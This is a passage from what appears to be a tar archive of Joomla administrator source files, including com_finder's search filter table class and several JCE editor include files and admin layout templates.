			$this->state = $state;
		}

		$this->setError('');

		return true;
	}
}
com_finder/tables/filter.php000060400000014731152455305310012126 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

/**
 * Filter table class for the Finder package.
 *
 * @since  2.5
 */
class FinderTableFilter extends JTable
{
	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  $db  JDatabaseDriver connector object.
	 *
	 * @since   2.5
	 */
	public function __construct(&$db)
	{
		parent::__construct('#__finder_filters', 'filter_id', $db);

		$this->setColumnAlias('published', 'state');
	}

	/**
	 * Method to bind an associative array or object to the JTable instance.  This
	 * method only binds properties that are publicly accessible and optionally
	 * takes an array of properties to ignore when binding.
	 *
	 * @param   array  $array   Named array
	 * @param   mixed  $ignore  An optional array or space separated list of properties
	 *                          to ignore while binding. [optional]
	 *
	 * @return  mixed  Null if operation was satisfactory, otherwise returns an error string
	 *
	 * @since   2.5
	 */
	public function bind($array, $ignore = '')
	{
		if (isset($array['params']) && is_array($array['params']))
		{
			$registry = new Registry($array['params']);
			$array['params'] = (string) $registry;
		}

		return parent::bind($array, $ignore);
	}

	/**
	 * Method to perform sanity checks on the JTable instance properties to ensure
	 * they are safe to store in the database.  Child classes should override this
	 * method to make sure the data they are storing in the database is safe and
	 * as expected before storage.
	 *
	 * @return  boolean  True if the instance is sane and able to be stored in the database.
	 *
	 * @since   2.5
	 */
	public function check()
	{
		if (trim($this->alias) === '')
		{
			$this->alias = $this->title;
		}

		$this->alias = JApplicationHelper::stringURLSafe($this->alias);

		if (trim(str_replace('-', '', $this->alias)) === '')
		{
			$this->alias = JFactory::getDate()->format('Y-m-d-H-i-s');
		}

		$params = new Registry($this->params);

		$nullDate = $this->_db->getNullDate();
		$d1 = $params->get('d1', $nullDate);
		$d2 = $params->get('d2', $nullDate);

		// Check the end date is not earlier than the start date.
		if ($d2 > $nullDate && $d2 < $d1)
		{
			// Swap the dates.
			$params->set('d1', $d2);
			$params->set('d2', $d1);
			$this->params = (string) $params;
		}

		return true;
	}

	/**
	 * Method to set the publishing state for a row or list of rows in the database
	 * table. The method respects checked out rows by other users and will attempt
	 * to checkin rows that it can after adjustments are made.
	 *
	 * @param   mixed    $pks     An array of primary key values to update.  If not
	 *                            set the instance property value is used. [optional]
	 * @param   integer  $state   The publishing state. eg. [0 = unpublished, 1 = published] [optional]
	 * @param   integer  $userId  The user id of the user performing the operation. [optional]
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	public function publish($pks = null, $state = 1, $userId = 0)
	{
		$k = $this->_tbl_key;

		// Sanitize input.
		$pks = ArrayHelper::toInteger($pks);
		$userId = (int) $userId;
		$state = (int) $state;

		// If there are no primary keys set check to see if the instance key is set.
		if (empty($pks))
		{
			if ($this->$k)
			{
				$pks = array($this->$k);
			}
			// Nothing to set publishing state on, return false.
			else
			{
				$this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED'));

				return false;
			}
		}

		// Build the WHERE clause for the primary keys.
		$where = $k . '=' . implode(' OR ' . $k . '=', $pks);

		// Determine if there is checkin support for the table.
		if (!property_exists($this, 'checked_out') || !property_exists($this, 'checked_out_time'))
		{
			$checkin = '';
		}
		else
		{
			$checkin = ' AND (checked_out = 0 OR checked_out = ' . (int) $userId . ')';
		}

		// Update the publishing state for rows with the given primary keys.
		$query = $this->_db->getQuery(true)
			->update($this->_db->quoteName($this->_tbl))
			->set($this->_db->quoteName('state') . ' = ' . (int) $state)
			->where($where);
		$this->_db->setQuery($query . $checkin);

		try
		{
			$this->_db->execute();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// If checkin is supported and all rows were adjusted, check them in.
		if ($checkin && count($pks) === $this->_db->getAffectedRows())
		{
			// Checkin the rows.
			foreach ($pks as $pk)
			{
				$this->checkIn($pk);
			}
		}

		// If the JTable instance value is in the list of primary keys that were set, set the instance.
		if (in_array($this->$k, $pks))
		{
			$this->state = $state;
		}

		$this->setError('');

		return true;
	}

	/**
	 * Method to store a row in the database from the JTable instance properties.
	 * If a primary key value is set the row with that primary key value will be
	 * updated with the instance property values.  If no primary key value is set
	 * a new row will be inserted into the database with the properties from the
	 * JTable instance.
	 *
	 * @param   boolean  $updateNulls  True to update fields even if they are null. [optional]
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	public function store($updateNulls = false)
	{
		$date = JFactory::getDate()->toSql();
		$userId = JFactory::getUser()->id;

		$this->modified = $date;

		if ($this->filter_id)
		{
			// Existing item
			$this->modified_by = $userId;
		}
		else
		{
			// New item. A filter's created field can be set by the user,
			// so we don't touch it if it is set.
			if (!(int) $this->created)
			{
				$this->created = $date;
			}

			if (empty($this->created_by))
			{
				$this->created_by = $userId;
			}
		}

		if (is_array($this->data))
		{
			$this->map_count = count($this->data);
			$this->data = implode(',', $this->data);
		}
		else
		{
			$this->map_count = 0;
			$this->data = implode(',', array());
		}

		// Verify that the alias is unique
		$table = JTable::getInstance('Filter', 'FinderTable', array('dbo' => $this->_db));

		if ($table->load(array('alias' => $this->alias)) && ($table->filter_id != $this->filter_id || $this->filter_id == 0))
		{
			$this->setError(JText::_('JLIB_DATABASE_ERROR_ARTICLE_UNIQUE_ALIAS'));

			return false;
		}

		return parent::store($updateNulls);
	}
}
com_jce/includes/classmap.php000060400000005410152455305310012264 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Form\FormHelper;

// For Checkbox
if (!class_exists('\\Joomla\\CMS\\Form\\Field\\CheckboxField')) {
    FormHelper::loadFieldClass('checkbox');
    class_alias('JFormFieldCheckbox', '\\Joomla\\CMS\\Form\\Field\\CheckboxField');
}

// For Checkboxes
if (!class_exists('\\Joomla\\CMS\\Form\\Field\\CheckboxesField')) {
    FormHelper::loadFieldClass('checkboxes');
    class_alias('JFormFieldCheckboxes', '\\Joomla\\CMS\\Form\\Field\\CheckboxesField');
}

// For Color
if (!class_exists('\\Joomla\\CMS\\Form\\Field\\ColorField')) {
    FormHelper::loadFieldClass('color');
    class_alias('JFormFieldColor', '\\Joomla\\CMS\\Form\\Field\\ColorField');
}

// For File List
if (!class_exists('\\Joomla\\CMS\\Form\\Field\\FilelistField')) {
    FormHelper::loadFieldClass('filelist');
    class_alias('JFormFieldFileList', '\\Joomla\\CMS\\Form\\Field\\FilelistField');
}

// For List
if (!class_exists('\\Joomla\\CMS\\Form\\Field\\ListField')) {
    FormHelper::loadFieldClass('list');
    class_alias('JFormFieldList', '\\Joomla\\CMS\\Form\\Field\\ListField');
}

// For Number
if (!class_exists('\\Joomla\\CMS\\Form\\Field\\NumberField')) {
    FormHelper::loadFieldClass('number');
    class_alias('JFormFieldNumber', '\\Joomla\\CMS\\Form\\Field\\NumberField');
}

// For Plugins
if (!class_exists('\\Joomla\\CMS\\Form\\Field\\PluginsField')) {
    FormHelper::loadFieldClass('plugins');
    class_alias('JFormFieldPlugins', '\\Joomla\\CMS\\Form\\Field\\PluginsField');
}

// For Radio
if (!class_exists('\\Joomla\\CMS\\Form\\Field\\RadioField')) {
    FormHelper::loadFieldClass('radio');
    class_alias('JFormFieldRadio', '\\Joomla\\CMS\\Form\\Field\\RadioField');
}

// For Text
if (!class_exists('\\Joomla\\CMS\\Form\\Field\\TextField')) {
    FormHelper::loadFieldClass('text');
    class_alias('JFormFieldText', '\\Joomla\\CMS\\Form\\Field\\TextField');
}

// For Textarea
if (!class_exists('\\Joomla\\CMS\\Form\\Field\\TextareaField')) {
    FormHelper::loadFieldClass('textarea');
    class_alias('JFormFieldTextarea', '\\Joomla\\CMS\\Form\\Field\\TextareaField');
}

// check for the existence of the Sidebar class which may have been declared by another extension
if (!class_exists('\\Joomla\\CMS\\HTML\\Helpers\\Sidebar')) {
    JLoader::import('libraries.cms.html.sidebar', JPATH_ADMINISTRATOR);
    class_alias('JHtmlSidebar', '\\Joomla\\CMS\\HTML\\Helpers\\Sidebar');
}

JLoader::register('JceHelperAdmin', JPATH_COMPONENT_ADMINISTRATOR . '/helpers/admin.php');com_jce/includes/index.html000060400000000054152455305310011744 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/includes/constants.php000060400000003016152455305310012475 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Uri\Uri;

// Some shortcuts to make life easier
define('WF_VERSION', '2.9.99.2');

// JCE Administration Component
define('WF_ADMINISTRATOR', JPATH_ADMINISTRATOR . '/components/com_jce');
// JCE Site Component
define('WF_SITE', JPATH_SITE . '/components/com_jce');
// JCE Plugin
if (defined('JPATH_PLATFORM')) {
    define('WF_PLUGIN', JPATH_SITE . '/plugins/editors/jce');
} else {
    define('WF_PLUGIN', JPATH_SITE . '/plugins/editors');
}
// JCE Editor
define('WF_EDITOR', WF_SITE . '/editor');
// JCE Editor Media
define('WF_EDITOR_MEDIA', JPATH_SITE . '/media/com_jce/editor');
// JCE Editor Plugins
define('WF_EDITOR_PLUGINS', WF_EDITOR . '/plugins');
// JCE Editor Themes
define('WF_EDITOR_THEMES', WF_EDITOR_MEDIA . '/tinymce/themes');
// JCE Editor Libraries
define('WF_EDITOR_LIBRARIES', WF_EDITOR . '/libraries');
// JCE Editor Classes
define('WF_EDITOR_CLASSES', WF_EDITOR_LIBRARIES . '/classes');
// JCE Editor Extensions
define('WF_EDITOR_EXTENSIONS', WF_EDITOR . '/extensions');

define('WF_EDITOR_URI', Uri::root(true) . '/components/com_jce/editor');

// required for some legacy plugins
defined('DS') or define('DS', DIRECTORY_SEPARATOR);

// legacy plugin support
define('_WF_EXT', 1);
com_jce/includes/base.php000060400000006162152455305310011400 0ustar00<?php

/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2023 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
\defined('_JEXEC') or die;

// load constants
require_once __DIR__ . '/constants.php';

// register classes
JLoader::register('WFApplication', WF_EDITOR_CLASSES . '/application.php');
JLoader::register('WFEditor', WF_EDITOR_CLASSES . '/editor.php');
JLoader::register('WFEditorPlugin', WF_EDITOR_CLASSES . '/plugin.php');

JLoader::register('WFLanguage', WF_EDITOR_CLASSES . '/language.php');
JLoader::register('WFUtility', WF_EDITOR_CLASSES . '/utility.php');
JLoader::register('WFMimeType', WF_EDITOR_CLASSES . '/mime.php');

JLoader::register('WFDocument', WF_EDITOR_CLASSES . '/document.php');
JLoader::register('WFTabs', WF_EDITOR_CLASSES . '/tabs.php');
JLoader::register('WFView', WF_EDITOR_CLASSES . '/view.php');

JLoader::register('WFRequest', WF_EDITOR_CLASSES . '/request.php');
JLoader::register('WFResponse', WF_EDITOR_CLASSES . '/response.php');

JLoader::register('WFLanguageParser', WF_EDITOR_CLASSES . '/languageparser.php');
JLoader::register('WFPacker', WF_EDITOR_CLASSES . '/packer.php');

JLoader::register('WFExtension', WF_EDITOR_CLASSES . '/extensions.php');
JLoader::register('WFFileSystem', WF_EDITOR_CLASSES . '/extensions/filesystem.php');
JLoader::register('WFLinkExtension', WF_EDITOR_CLASSES . '/extensions/link.php');
JLoader::register('WFAggregatorExtension', WF_EDITOR_CLASSES . '/extensions/aggregator.php');
JLoader::register('WFMediaPlayerExtension', WF_EDITOR_CLASSES . '/extensions/mediaplayer.php');
JLoader::register('WFPopupsExtension', WF_EDITOR_CLASSES . '/extensions/popups.php');
JLoader::register('WFSearchExtension', WF_EDITOR_CLASSES . '/extensions/search.php');

JLoader::register('WFMediaManagerBase', WF_EDITOR_CLASSES . '/manager/base.php');
JLoader::register('WFMediaManager', WF_EDITOR_CLASSES . '/manager.php');
JLoader::register('WFFileBrowser', WF_EDITOR_CLASSES . '/browser.php');
JLoader::register('WFDeviceDetect', WF_EDITOR_CLASSES . '/devicedetect.php');

JLoader::register('JcePluginsHelper', WF_ADMINISTRATOR . '/helpers/plugins.php');
JLoader::register('JceEncryptHelper', WF_ADMINISTRATOR . '/helpers/encrypt.php');

JLoader::register('WFLinkHelper', WF_EDITOR_CLASSES . '/linkhelper.php');

// Defuse
JLoader::registerNamespace('Defuse\\Crypto', WF_ADMINISTRATOR . '/vendor/Defuse/Crypto', false, false, 'psr4');

// Mobile Detect
//JLoader::registerNamespace('Wf\\Detection', WF_EDITOR_CLASSES . '/vendor/MobileDetect/src', false, false, 'psr4');

// CssMin
JLoader::registerNamespace('tubalmartin\CssMin', WF_EDITOR_CLASSES . '/vendor/cssmin/src', false, false, 'psr4');

// legacy class for backwards compatability
JLoader::register('WFText', WF_EDITOR_CLASSES . '/text.php');

// legacy class for backwards compatability
JLoader::register('WFModelEditor', WF_ADMINISTRATOR . '/models/editor.php');

// legacy function prevent fatal errors in 3rd party extensions
function wfimport($path = ""){
    return true;
}com_jce/layouts/toolbar/uploadprofile.php000060400000001405152455305310014662 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$title = Text::_('WF_PROFILES_IMPORT_IMPORT');
?>
<joomla-toolbar-button>
    <div class="upload-profile-container">
        <input name="profile_file" accept="application/xml" type="file" />
        <button class="button-import btn btn-small btn-sm btn-outline-primary"><span class="icon-upload text-body" title="<?php echo $title; ?>"></span> <?php echo $title; ?></button>
    </div>
</joomla-toolbar-button>com_jce/layouts/edit/layout.php000060400000020131152455305310012612 0ustar00<?php

use Joomla\CMS\Language\Text;
use Joomla\Registry\Registry;

$item = $displayData->get('Item');
$form = $displayData->getForm();

$data = new Registry($form->getValue('config'));

$rows = $displayData->get('Rows');
$plugins = $displayData->get('Plugins');
$available = $displayData->get('AvailableButtons');

// width and height
$width = $data->get('width', '100%');
$height = $data->get('height', 'auto');

if (is_numeric($width) && strpos('%', $width) === false) {
    $width .= 'px';
}
if (is_numeric($height) && strpos('%', $height) === false) {
    $height .= 'px';
}

?>
<div class="control-group mt-3 mb-0 <?php echo !empty($displayData->formclass) ? $displayData->formclass : ''; ?>">
    <div class="control-label">
        <label class="hasPopover" title="<?php echo Text::_('WF_PROFILES_FEATURES_LAYOUT_EDITOR_DESC'); ?>"><?php echo Text::_('WF_PROFILES_FEATURES_LAYOUT_EDITOR'); ?></label>
    </div>
    <div class="controls">
        <div class="editor-layout">
            <!-- Editor Toggle -->
            <span id="editor_toggle"><?php echo $data->get('toggle_label', '[Toggle Editor]'); ?></span>
            <!-- Width Marker -->
            <div class="widthMarker border border border-dark-subtle border-bottom-0" style="width:<?php echo $width; ?>;">
                <span class="badge bg-secondary"><?php echo $width; ?></span>
            </div>
            <!-- Toolbar -->
            <div class="mce-tinymce mce-container mce-panel mceEditor mceLayout mceDefaultSkin" role="application">
                <div class="mce-container-body mce-stack-layout mceLayout" style="max-width:<?php echo $width; ?>" role="presentation">
                    <div class="mceToolbar sortableList" role="group">
                        <?php foreach ($rows as $key => $groups): ?>
                            <div class="mce-container mce-toolbar mce-stack-layout-item mceToolbarRow mceToolbarRow<?php echo $key; ?> Enabled sortableListItem">
                                <?php foreach ($groups as $buttons): ?>
                                    <!--div class="mce-container mce-flow-layout-item mce-btn-group" role="group"-->
                                    <?php foreach ($buttons as $button): ?>
                                        <?php if (!empty($button->icon)): ?>
                                            <div tabindex="-1" class="mceToolbarItem <?php echo $button->type; ?> mce-widget mce-btn" data-name="<?php echo $button->name; ?>" role="button" aria-label="<?php echo $button->title; ?>" aria-description="<?php echo $button->description; ?>">
                                                <?php foreach ($button->icon as $icon): ?>
                                                    <div tabindex="-1" class="mceButton <?php echo $button->class; ?>" role="presentation" title="<?php echo $button->title; ?>">
                                                    <?php if ($button->image): ?>
                                                        <span class="mceIcon mceIconImage"><img src="<?php echo $button->image; ?>" alt="" /></span>
                                                    <?php else: ?>
                                                        <span class="mce-ico mce-i-<?php echo $icon; ?> mceIcon mce_<?php echo $icon; ?>"></span>
                                                    <?php endif;?>
                                                    </div>
                                                <?php endforeach;?>
                                            </div>
                                        <?php endif;?>
                                    <?php endforeach;?>
                                    <!--/div-->
                                <?php endforeach;?>
                            </div>
                        <?php endforeach;?>
                    </div>

                    <div class="mce-edit-area mce-container mce-panel mce-stack-layout-item mceIframeContainer">
                        <div>
                            <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
                        </div>
                    </div>

                    <div class="mce-statusbar mce-container mce-panel mce-last mce-stack-layout-item mceStatusbar mceLast">
                        <div class="mce-container-body mce-flow-layout mcePathRow" role="group" tabindex="-1">
                            <div class="mcePathLabel">Path: </div>
                            <div aria-level="0" tabindex="-1" data-index="0" class="mce-path-item mce-last mcePathPath" role="button">p</div>
                        </div>
                        <div class="mce-flow-layout-item mce-last mce-resizehandle mceResize" tabindex="-1"></div>
                        <div class="mce-wordcount mce-widget mce-label mce-flow-layout-item mceWordCount">Words: 69</div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
<div class="control-group mt-3 mb-4 <?php echo !empty($displayData->formclass) ? $displayData->formclass : ''; ?>">
    <div class="control-label">
        <label class="hasPopover" title="<?php echo Text::_('WF_PROFILES_FEATURES_LAYOUT_AVAILABLE_DESC'); ?>"><?php echo Text::_('WF_PROFILES_FEATURES_LAYOUT_AVAILABLE'); ?></label>
    </div>
    <div class="controls">
        <div class="editor-button-pool">
            <div class="mce-tinymce mce-container mce-panel mceEditor mceLayout defaultSkin" role="application">
                <div class="mce-container-body mce-stack-layout mceLayout">
                    <div class="mce-toolbar-grp mce-container mce-panel mce-stack-layout-item mceToolbar sortableList" role="toolbar">
                    <?php for ($i = 0; $i < max(count($rows), 5); ++$i): ?>
                                <div class="mce-container mce-toolbar mce-stack-layout-item mceToolbarRow mceToolbarRow<?php echo $i; ?> Enabled sortableListItem">
                                    <!--div class="mce-container mce-flow-layout-item mce-btn-group"-->
                                        <?php foreach ($available as $plugin): ?>
                                            <?php if ($plugin->row && $plugin->row === $i): ?>
                                                <div tabindex="-1" class="mceToolbarItem <?php echo $plugin->type; ?> mce-widget mce-btn" data-name="<?php echo $plugin->name; ?>" role="button" aria-label="<?php echo $plugin->title; ?>" aria-description="<?php echo $plugin->description; ?>">
                                                    <?php foreach ($plugin->icon as $icon): ?>
                                                        <div tabindex="-1" class="mceButton <?php echo $plugin->class; ?>" role="presentation" title="<?php echo $plugin->title; ?>">
                                                            <?php if ($plugin->image): ?>
                                                                <span class="mceIcon mceIconImage"><img src="<?php echo $plugin->image; ?>" alt="" /></span>
                                                            <?php else: ?>
                                                                <span class="mce-ico mce-i-<?php echo $icon; ?> mceIcon mce_<?php echo $icon; ?>"></span>
                                                            <?php endif;?>
                                                        </div>
                                                    <?php endforeach;?>
                                                </div>
                                            <?php endif;?>
                                        <?php endforeach;?>
                                    <!--/div-->
                                </div>
                            <?php endfor;?>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>com_jce/layouts/edit/plugins.php000060400000005130152455305310012760 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright 	Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

$plugins = $displayData->get('Plugins');

?>
<div class="form-horizontal tabbable tabs-left flex-column">
    <?php echo HTMLHelper::_('bootstrap.startTabSet', 'plugins', array('active' => ''));
foreach ($plugins as $plugin) {
    if (!$plugin->editable || empty($plugin->form)) {
        continue;
    }

    $icons = '';
    $title = '';

    $title .= '<p>' . $plugin->title . '</p>';

    if (!empty($plugin->icon)) {

        foreach ($plugin->icon as $icon) {
            $icons .= '<div class="mce-widget mce-btn mceButton ' . $plugin->class . '" title="' . $plugin->title . '"><span class="mce-ico mce-i-' . $icon . ' mceIcon mce_' . $icon . '"></span></div>';
        }

        $title .= '<div class="mceEditor mceDefaultSkin"><div class="mce-container mce-toolbar mceToolBarItem">' . $icons . '</div></div>';
    }

    echo HTMLHelper::_('bootstrap.addTab', 'plugins', 'tabs-plugins-' . $plugin->name, $title); ?>
            <fieldset class="<?php echo !empty($displayData->formclass) ? $displayData->formclass : ''; ?>">
                <legend><?php echo $plugin->title; ?></legend>
                <div class="row-fluid">
                        <hr />

                        <?php if ($plugin->form):

        echo $plugin->form->renderFieldset('config');?>

	                            <hr />

	                            <?php foreach ($plugin->extensions as $type => $extensions): ?>
	                                <h3><?php echo Text::_('WF_EXTENSION_' . strtoupper($type), true); ?></h3>

	                                <?php foreach ($extensions as $extension): ?>

	                                    <div class="row-fluid">
	                                        <h4><?php echo Text::_('PLG_JCE_' . strtoupper($type) . '_' . strtoupper($extension->name), true); ?></h4>
	                                        <?php echo $extension->form->renderFieldset($type . '.' . $extension->name); ?>
	                                    </div>

	                                <?php endforeach;?>

                                <hr />

                            <?php endforeach;

    endif;?>
                </div>
            </fieldset>
            <?php echo HTMLHelper::_('bootstrap.endTab');
}
echo HTMLHelper::_('bootstrap.endTabSet'); ?>
</div>com_jce/layouts/edit/additional.php000060400000002005152455305310013405 0ustar00<?php

use Joomla\CMS\Language\Text;

$plugins = $displayData->get('additional');

?>
<fieldset class="<?php echo !empty($displayData->formclass) ? $displayData->formclass : ''; ?>">
    <legend><?php echo Text::_('WF_PROFILES_FEATURES_ADDITIONAL'); ?></legend>
    <div class="control-group">
        <div class="control-label"></div>
        <div class="controls">
            <div class="editor-features">
                <?php foreach ($plugins as $plugin): ?>
                    <div class="control-group">
                        <label class="checkbox">
                            <input type="checkbox" value="<?php echo $plugin->name; ?>" <?php echo $plugin->active ? ' checked="checked"' : ''; ?>> <?php echo Text::_($plugin->title); ?>
                        </label>
                        <span class="help-block form-text text-muted w-100"><?php echo Text::_($plugin->description); ?></span>
                    </div>
                <?php endforeach;?>
            </div>
        </div>
    </div>
</fieldset>com_jce/layouts/message/upgrade.php000060400000001323152455305310013425 0ustar00<div class="alert alert-info" role="alert">
    <h4><i class="icon-star"></i> Go Pro and get more from JCE <a href="https://www.joomlacontenteditor.net/buy" class="btn btn-primary" target="_blank" title="Get JCE Editor Pro"><strong>Get JCE Editor Pro</strong></a></h4>
    <ul>
        <li>Resize, Thumbnail and Edit images</li>
        <li>Manage Audio and Video</li>
        <li>Create styled image captions</li>
        <li>Manage and create links to files</li>
        <li>Edit HTML in the Source Code Editor</li>
        <li>Write faster with <a href="https://en.wikipedia.org/wiki/Markdown" title="Markdown" target="_blank"><strong>Markdown</strong></a> support</li>
        <li>And much more...</li>
    </ul>
</div>com_jce/layouts/message/welcome.php000060400000001247152455305310013436 0ustar00<div class="alert alert-info" role="alert">
    <h2>Welcome to JCE Pro!</h2>
    <p>You will now need to add the Pro buttons you require to the editor toolbar of each profile in use.</p>
    <ol>
        <li>Go to <a href="index.php?option=com_jce&view=profiles"><u>Editor Profiles</u></a> and click on the name of a profile to edit it.</li>
        <li>Click on the Features & Layout tab, and scroll down to <strong>Current Editor Layout</strong></li>
        <li>Drag the buttons you require from the <strong>Available Buttons & Toolbars</strong> area into the <strong>Current Editor Layout</strong></li>
        <li>Click the <strong>Save</strong> button</li>
    </ol>
</div>com_jce/layouts/form/field/buttons.php000060400000007105152455305310014102 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright     Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_BASE') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
 * @var   array    $checkedOptions  Options that will be set as checked.
 * @var   boolean  $hasValue        Has this field a value assigned?
 * @var   array    $options         Options available for this field.
 */

/**
 * The format of the input tag to be filled in using sprintf.
 *     %1 - id
 *     %2 - name
 *     %3 - value
 *     %4 = any other attributes
 */
$format = '<input type="checkbox" id="%1$s" name="%2$s" value="%3$s" %4$s />';

// The alt option for JText::alt
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $name);
?>

<fieldset id="<?php echo $id; ?>" class="<?php echo trim($class . ' checkboxes buttons'); ?>">

	<?php foreach ($options as $i => $option): ?>
		<?php
// Initialize some option attributes.
$checked = in_array((string) $option->value, $checkedOptions, true) ? 'checked' : '';

// In case there is no stored value, use the option's default state.
$checked = (!$hasValue && $option->checked) ? 'checked' : $checked;
$optionDisabled = !empty($option->disable) || $disabled ? 'disabled' : '';

$oid = $id . $i;
$value = htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8');
$attributes = array_filter(array($checked, $optionDisabled));
?>
        <div class="mce-widget mce-btn mceButton p-2 border bg-light-subtle" title="<?php echo $option->text; ?>">
            <?php echo sprintf($format, $oid, $name, $value, implode(' ', $attributes)); ?>
            <span class="mce-ico mce-i-<?php echo $option->value; ?> mceIcon mce_<?php echo $option->value; ?>"></span>
		    <label for="<?php echo $oid; ?>" class="checkbox"><?php echo $option->text; ?></label>
        </div>
	<?php endforeach;?>

	<input type="hidden" name="<?php echo $name; ?>" value="" />
</fieldset>
com_jce/layouts/form/field/colorpicker.php000060400000001777152455305310014731 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright 	Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_BASE') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $class           Classes for the input.
 * @var   string   $id              DOM id of the field.
 * @var   string   $name            Name of the input field.
 * @var   string   $value           Value attribute of the field.

 */

?>
<div class="input-group input-append">
    <input type="text" class="colorpicker input-small" name="<?php echo $name; ?>" id="<?php echo $id; ?>" value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>" placeholder="#rrggbb" />
    <div class="input-group-append">    
        <span class="add-on input-group-text colorpicker_widget"></span>
    </div>
</div>com_jce/layouts/form/field/code.php000060400000007757152455305310013333 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  Layout
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
